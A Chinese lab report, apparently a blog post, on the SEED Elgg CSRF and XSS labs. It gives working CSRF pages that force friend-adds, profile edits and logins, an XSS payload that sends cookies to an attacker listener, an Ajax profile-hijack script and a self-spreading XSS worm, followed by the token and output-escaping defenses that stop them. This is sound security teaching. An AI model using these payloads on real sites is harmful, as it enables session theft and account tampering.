[信息系统安全实验] 实验1.Web安全

[信息系统安全实验] 实验1.Web安全

CSRF

1 基于GET请求的CSRF攻击

  1. 首先登录 Samy 账号并手动添加 Alice 为好友,然后用 HTTP Header Live工具观察 HTTP 数据包. 可以看到是一个 GET 请求, 附带信息有 friend 的 id 号, 后面跟着 elgg_ts 类似时间戳以及一个 elgg_token 令牌. 重点在于 friend 的id 号.
    在这里插入图片描述
    在这里插入图片描述
  2. 通过浏览器的 inspector 来查看 Elgg 的 Newest members 页面. 如图可以看到用户的 id 号. 如图 Alice 的 id 为 42, 与上述截包是一致的.
    在这里插入图片描述
  3. 通过相同方法, 可以确定 Samy 的 id 号为 45.
    在这里插入图片描述
  4. 构建恶意网站内容如下, 其中的图片的源是添加好友的链接, 且 friend 的 id 号为 Samy 的 45.
<html>
<head>
    <title> CSRF-Task1 by hhy </title>
</head>
<body>
    <img src="http://www.csrflabelgg.com/action/friends/add?friend=45&__elgg_ts=1622835184&__elgg_token=xxEP4gr6rL4xooHVCKGfIg">
</body>
</html>     

在这里插入图片描述
5. 然后 Alice 在登录状态下访问这个网址的 index.html, 即网站 www.csrflabattacker.com. 可以看到 HTTP Header Live 截获到了添加好友的请求报文, 其请求的参数 friend 的 id 为 45 即 Samy 的 id.
在这里插入图片描述
在这里插入图片描述
6. Alice 再从 Elgg 中查看好友可以看到其中就有了 Samy.
加好友前:
在这里插入图片描述
加好友后:
在这里插入图片描述

2 使用POST请求的CSRF攻击

  1. 首先尝试使用 Samy 账号修改自己的博客资料. 可以使用 HTTP Header Live 截获到如下数据包, 其中可以获得报文的传输数据内容.
    在这里插入图片描述
__elgg_token=G6Yr9PzxHiRsqb_JWcifTA&__elgg_ts=1622837577
&name=Samy
&description=<p>I am Samy.</p> 
&accesslevel[description]=2
&briefdescription=
&accesslevel[briefdescription]=2
&location=
&accesslevel[location]=2
&interests=
&accesslevel[interests]=2
&skills=
&accesslevel[skills]=2
&contactemail=
&accesslevel[contactemail]=2
&phone=
&accesslevel[phone]=2
&mobile=
&accesslevel[mobile]=2
&website=
&accesslevel[website]=2
&twitter=
&accesslevel[twitter]=2
&guid=45

提交后可以看到个人资料被成功修改.
在这里插入图片描述
2. 构建恶意网站内容如下, 其中主要是个 Js 函数标签, 内容是构造向 Elgg 发送修改个人资料的 POST 请求, 同时伪造提交的表单, 将 description 部分改为要伪造的内容 “Samy is my hero”, 以及将 guid 设置为 Alice 的 guid.

<html>

<head>
    <title> CSRF-Task2 by hhy </title>
</head>

<body>
    <h1>
        CSRF TASK 2
    </h1>
    <script type="text/javascript">
        // 提交表单函数
        function post(url, fields) {
            // 创建一个 <form> 元素
            var p = document.createElement("form");
            // 构造表单
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            // 将这个form表单添加到当前页面中
            document.body.appendChild(p);
            // 提交form表单
            p.submit();
        }
        // CSRF攻击函数
        function csrf_hack() {
            var fields;
            // 构造修改Elgg个人资料的表单具体内容
            // description的内容设置为伪造的话
            // 表单的类型是隐藏(hidden)的, 使得受害者不会察觉
            // 注意guid设为Alice的42
            fields += "<input type='hidden' name='name' value='Alice'>";
            fields += "<input type='hidden' name='description' value='Samy is my hero'>";
            fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
            fields += "<input type='hidden' name='briefdescription' value=''>";
            fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
            fields += "<input type='hidden' name='location' value=''>";
            fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
            fields += "<input type='hidden' name='guid' value='42'>";
            var url = "http://www.csrflabelgg.com/action/profile/edit";
            post(url, fields);
        }
        // 当页面窗口加载时调用攻击函数
        window.onload = function () { csrf_hack(); }
    </script>
</body>

</html>
  1. 当 Alice 在登录状态下访问这个网址的 index.html, 即网站 www.csrflabattacker.com. 可以看到 HTTP Header Live 截获到了修改个人资料的数据包. 同时可以看到, Alice 博客主要的个人资料已经被成功篡改.
    在这里插入图片描述
    在这里插入图片描述

3 实现login CSRF攻击

  1. 首先尝试登录 Samy 的账号, 并使用 HTTP Header Live 截获到如下数据包, 其中可以获得报文的传输数据内容.
    在这里插入图片描述
__elgg_token=mB57J1OQNxxwraW2CHSLOw&__elgg_ts=1623169962&username=samy&password=seedsamy&returntoreferer=true
  1. 根据数据包中提交的参数信息构建恶意网站, 设计思路同任务 2, 利用 Js 提交登录表单.
<html>

<head>
    <title> CSRF-Task3 by hhy </title>
</head>

<body>
    <h1>
        CSRF TASK 3
    </h1>
    <script type="text/javascript">
        // 提交表单函数
        function post(url, fields) {
            // 创建一个 <form> 元素
            var p = document.createElement("form");
            // 构造表单
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            // 将这个form表单添加到当前页面中
            document.body.appendChild(p);
            // 提交form表单
            p.submit();
        }
        // CSRF攻击函数
        function csrf_hack() {
            var fields;
            // 构造登录Elgg的表单
            // description的内容设置为伪造的话
            // 表单的类型是隐藏(hidden)的, 使得受害者不会察觉
            fields += "<input type='hidden' name='username' value='Samy'>";
            fields += "<input type='hidden' name='password' value='seedsamy'>";
            fields += "<input type='hidden' name='returntorefer' value='true'>";
            var url = "http://www.csrflabelgg.com/action/login";
            post(url, fields);
        }
        // 当页面窗口加载时调用攻击函数
        window.onload = function () { csrf_hack(); }
    </script>
</body>

</html>
  1. 如图当前是 Alice 的账号处于登录状态.
    在这里插入图片描述
  2. 当 Alice 在登录状态访问了恶意网站 www.csrflabattacker.com, 则会发现提示登录成功, 且根据左上角图标可以确定当前登录的账号已经变为了 Samy. 同时可以看到 HTTP Header Live 也截获到了登录的数据包.
    在这里插入图片描述
    在这里插入图片描述

4 防御策略

  1. 打开防御策略: 进入目录 /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg 并在 ActionsService.php 文件中找到函数 gatekeeper, 并注释掉开头的 return true 这条语句.
    在这里插入图片描述
  2. 重新尝试任务 1 的攻击.
    如图 HTTP Header Live 截获到数据包中包含 Elgg 的时间戳和令牌, 不过其内容是任务 1 中截获的之前的时间戳和令牌.
    在这里插入图片描述
    如图, 可以看到 Alice 的博客页面会提示页面已经过期, 同时也没有添加 Samy 为好友, 攻击失效.
    在这里插入图片描述
  3. 重新尝试任务 2 的攻击.
    重新运行恶意网站, 由于使用 Js 构建表单是没有提交 Elgg 的时间戳和令牌, 因此如图 HTTP Header Live 截获到数据包中并没有 Elgg 的时间戳和令牌.
    在这里插入图片描述
    同时查看 Alice 的博客主页, 其也未遭到修改, 同时可以看到显示表单缺少了 __token__ts 字段.
    在这里插入图片描述

XSS

1 发布恶意消息, 通过警告窗口显示Cookie

  1. 首先使用 Samy 账号登录 XSS Lab Site 的 Elgg 博客. 然后点击 “edit profile” 按钮编辑个人信息.
    在这里插入图片描述
  2. 在 “Brief description” 一栏添加 script 类型的 HTML 标签并保存, 其调用 alert() 函数来显示 cookie, 具体内容如下:
<script type = "text/javascript">alert(document.cookie);</script>

在这里插入图片描述
3. 使用 Alice 的账号登录 Elgg 博客并访问 Samy 的主页, 如图访问时会弹出警告窗口显示其 cookie.
在这里插入图片描述

2 从受害者的机器上盗取Cookie

  1. 登录 Samy 的博客账号, 同样在其个人简介 “Brief description” 中添加 script 类型的 HTML 标签并保存, 用于将受害者的 cookie 通过 HTTP 发送给攻击者. 标签内容具体如下:
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
<!--127.0.0.1:5555为攻击者的IP地址-->

在这里插入图片描述
2. 使用 nc 命令监听 5555 端口, 并打开 Wireshark 截获数据包.
在这里插入图片描述
3. 使用 Alice 的账号登录 Elgg 博客并访问 Samy 的主页
在这里插入图片描述
4. 访问时可以看到控制台监听到了数据包, 并得到了发送过来的 Alice 的 cookie.
在这里插入图片描述
5. Wireshark 中也截获到了发送 cookie 的请求数据包
在这里插入图片描述

3 使用Ajax脚本自动发起会话劫持

  1. 编写的 Ajax 脚本, 其主要思想是通过添加一个 <script> 标签运行代码, 在窗口加载时自动向修改自己博客主页的 URL 提交表单, 以达到修改受害者博客主页的目的. 具体代码如下:
<script type="text/javascript">
    window.onload = function () {
        // 表单的基本信息
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;    // Elgg令牌
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;    // Elgg时间戳
        var userName = "&name=" + elgg.session.user.name;    // 用户名
        var description = "&description=Samy is my hero. XSS By hhy";    // 个人介绍
        var accesslevel = "&accesslevel[description]=2";
        var guid = "&guid=" + elgg.session.user.guid;    // 用户guid
        
        var content = token + ts + userName + description + accesslevel + guid;    // 发送的内容
        var sendUrl = "http://www.xsslabelgg.com/action/profile/edit";      // 目标URL

        // 若当前访问者不为Samy自己,则使用Ajax发送请求来修改受害者个人介绍
        var samyGuid = 47;
        if (elgg.session.user.guid != samyGuid) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendUrl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

需要注意 XSS 中 Samy 的 guid 与 CSRF 中的不同, 为 47.
在这里插入图片描述
2. 修改 Samy 博客的 “About me” 内容为上述代码并保存:
注意编辑 “About me” 时选择右上角 “Edit HTML” 选项.
在这里插入图片描述
在这里插入图片描述
由于添加的是一个 <script> 标签, 因此修改完成后, “About me” 的内容为空.
在这里插入图片描述
3. 使用 Alice 的账号登录 Elgg, 并访问 Samy 的博客主页. 然后在访问自己的主页, 发现自己的个人介绍信息已经被修改:
在这里插入图片描述

4 构造XSS蠕虫

  1. 编写的 Ajax 脚本, 代码基本和任务 3 中的相同, 不同之处在于通过 encodeURIComponent 函数将整个 <script> 标签文本化, 并在代码构造表单时在 description 一项时还添加了该标签的内容, 这样受害者再访问 Samy 博客主页让自己的博客主页被篡改时, 个人介绍的内容不仅包括 “Samy is my hero” 这段话, 还有暗含的 <script> 标签的内容, 致使其他人在访问该主页时同样会被篡改, 达到蠕虫的效果. 具体代码如下:
<script id="worm" type="text/javascript">
    window.onload = function () {
        var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
        // 获取该标签下的内容
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "<\/script>";
        // 将整个script标签的代码进行封装
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        // 表单的基本信息
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;    // Elgg令牌
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;    // Elgg时间戳
        var userName = "&name=" + elgg.session.user.name;    // 用户名
        // 个人介绍, 发送时附带整个script标签的代码
        var description = "&description=Samy is my hero. XSS Worm By hhy" + wormCode;
        var accesslevel = "&accesslevel[description]=2";
        var guid = "&guid=" + elgg.session.user.guid;    // 用户guid

        var content = token + ts + userName + description + accesslevel + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

        var samyGuid = 47;
        if (elgg.session.user.guid != samyGuid) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
  1. 修改 Samy 博客的 “About me” 内容为上述代码并保存:
    在这里插入图片描述
  2. 使用 Alice 的账号登录 Elgg, 并访问 Samy 的博客主页. 然后在访问自己的主页, 发现自己的个人介绍信息已经被修改:
    在这里插入图片描述
  3. 使用 Body 的账号登录 Elgg, 并访问 Alice 的博客主页. 然后在访问自己的主页, 发现自己的个人介绍信息已经被修改:
    在这里插入图片描述

5 防御策略

5.1 仅开启 HTMLawed, 但不开启 htmlspecialchars
  1. 开启 HTMLawed: 使用管理员 Admin 账号登录到 Elgg, 在 Account->administration(顶部菜单)->plugins(右侧面板), 在 filter 中选择 security and spam, 找到 HTMLawed 插件, 点击 Activate 来开启策略.
    在这里插入图片描述
  2. 此时再访问 Alice 的博客主页, 能够看到个人介绍 “About me” 一栏中 <script> 标签中的代码也显示了出来. 但由于代码缺少了的标签 <script type="text/javascript" id="worm">, 因此代码不会作为 <script> 标签加载到页面的 HTML 中, 也就不能被执行.
    在这里插入图片描述
  3. 将 Alice 主页的个人介绍内容清空, 重新访问 Samy 主页. 此时 Alice 的个人介绍并不会被篡改(因为此时 Samy 个人介绍中的代码同 Alice 的一样, 已经无法执行).
    在这里插入图片描述
5.2 开启 HTMLawed 和 htmlspecialchars
  1. 开启 htmlspecialchars: 进入 /var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/ 目录并找到调用函数 htmlspecialchars() 的文件: text.php, url.php, dropdown.php, email.php. 在每个文件中取消注释相应的 htmlspecialchars() 函数调用.
    在这里插入图片描述
  2. 此时再访问 Body 的主页, 和仅开启 HTMLawed 相同. 但在编辑个人介绍时可以看到, 对于引号, 大于号小于号等都进行了转换.
    在这里插入图片描述
    在这里插入图片描述
  • 5
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值